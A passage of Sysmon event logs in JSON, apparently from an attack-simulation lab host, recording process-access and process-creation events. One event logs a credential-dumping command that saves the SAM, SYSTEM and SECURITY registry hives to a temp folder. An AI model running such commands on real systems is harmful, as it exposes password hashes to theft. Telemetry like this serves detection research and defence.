C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.056","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5348,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.056\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.056","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5349,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.056\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.056","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5350,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.056\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.056","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5351,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.056\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.056","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5352,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.056\r\nSourceProcessGUID: {90617006-416D-5F2D-0000-001008010800}\r\nSourceProcessId: 3632\r\nSourceThreadId: 4900\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-413C-5F2D-0000-0010D6340600}\r\nTargetProcessId: 4664\r\nTargetImage: C:\\Windows\\system32\\reg.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.056","SourceProcessGUID":"{90617006-416D-5F2D-0000-001008010800}","SourceProcessId":"3632","SourceThreadId":"4900","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-413C-5F2D-0000-0010D6340600}","TargetProcessId":"4664","TargetImage":"C:\\Windows\\system32\\reg.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5353,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.127\r\nProcessGuid: {90617006-4170-5F2D-0000-00104D4C0800}\r\nProcessId: 5044\r\nImage: C:\\Windows\\System32\\reg.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Registry Console Tool\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: reg.exe\r\nCommandLine: reg save HKLM\\security C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\security \r\nCurrentDirectory: C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-416D-5F2D-0000-00205A000800}\r\nLogonId: 0x8005A\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=59A22FA6CF85026BB6BC69A1ADD75C50,SHA256=9E28034CE3AEEA6951F790F8997DF44CFBF80BEFF9FB17413DBA317016A716AD,IMPHASH=EE7EB7FA7D163340753B7223ADA14352\r\nParentProcessGuid: {90617006-4170-5F2D-0000-0010DC490800}\r\nParentProcessId: 4788\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: \"C:\\Windows\\system32\\cmd.exe\" /c \"reg save HKLM\\sam %temp%\\sam & reg save HKLM\\system %temp%\\system & reg save HKLM\\security %temp%\\security\" ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.127","ProcessGuid":"{90617006-4170-5F2D-0000-00104D4C0800}","Image":"C:\\Windows\\System32\\reg.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Registry Console Tool","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"reg.exe","CommandLine":"reg save HKLM\\security C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\security ","CurrentDirectory":"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-416D-5F2D-0000-00205A000800}","LogonId":"0x8005a","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=59A22FA6CF85026BB6BC69A1ADD75C50,SHA256=9E28034CE3AEEA6951F790F8997DF44CFBF80BEFF9FB17413DBA317016A716AD,IMPHASH=EE7EB7FA7D163340753B7223ADA14352","ParentProcessGuid":"{90617006-4170-5F2D-0000-0010DC490800}","ParentProcessId":"4788","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" /c \"reg save HKLM\\sam %temp%\\sam & reg save HKLM\\system %temp%\\system & reg save HKLM\\security %temp%\\security\" ","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5354,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.119\r\nSourceProcessGUID: {90617006-4170-5F2D-0000-0010DC490800}\r\nSourceProcessId: 4788\r\nSourceThreadId: 4084\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00104D4C0800}\r\nTargetProcessId: 5044\r\nTargetImage: C:\\Windows\\system32\\reg.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+c347|C:\\Windows\\system32\\cmd.exe+c347|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.119","SourceProcessGUID":"{90617006-4170-5F2D-0000-0010DC490800}","SourceProcessId":"4788","SourceThreadId":"4084","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00104D4C0800}","TargetProcessId":"5044","TargetImage":"C:\\Windows\\system32\\reg.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+c347|C:\\Windows\\system32\\cmd.exe+c347|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5355,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.119\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00104D4C0800}\r\nTargetProcessId: 5044\r\nTargetImage: C:\\Windows\\system32\\reg.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.119","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00104D4C0800}","TargetProcessId":"5044","TargetImage":"C:\\Windows\\system32\\reg.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5356,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 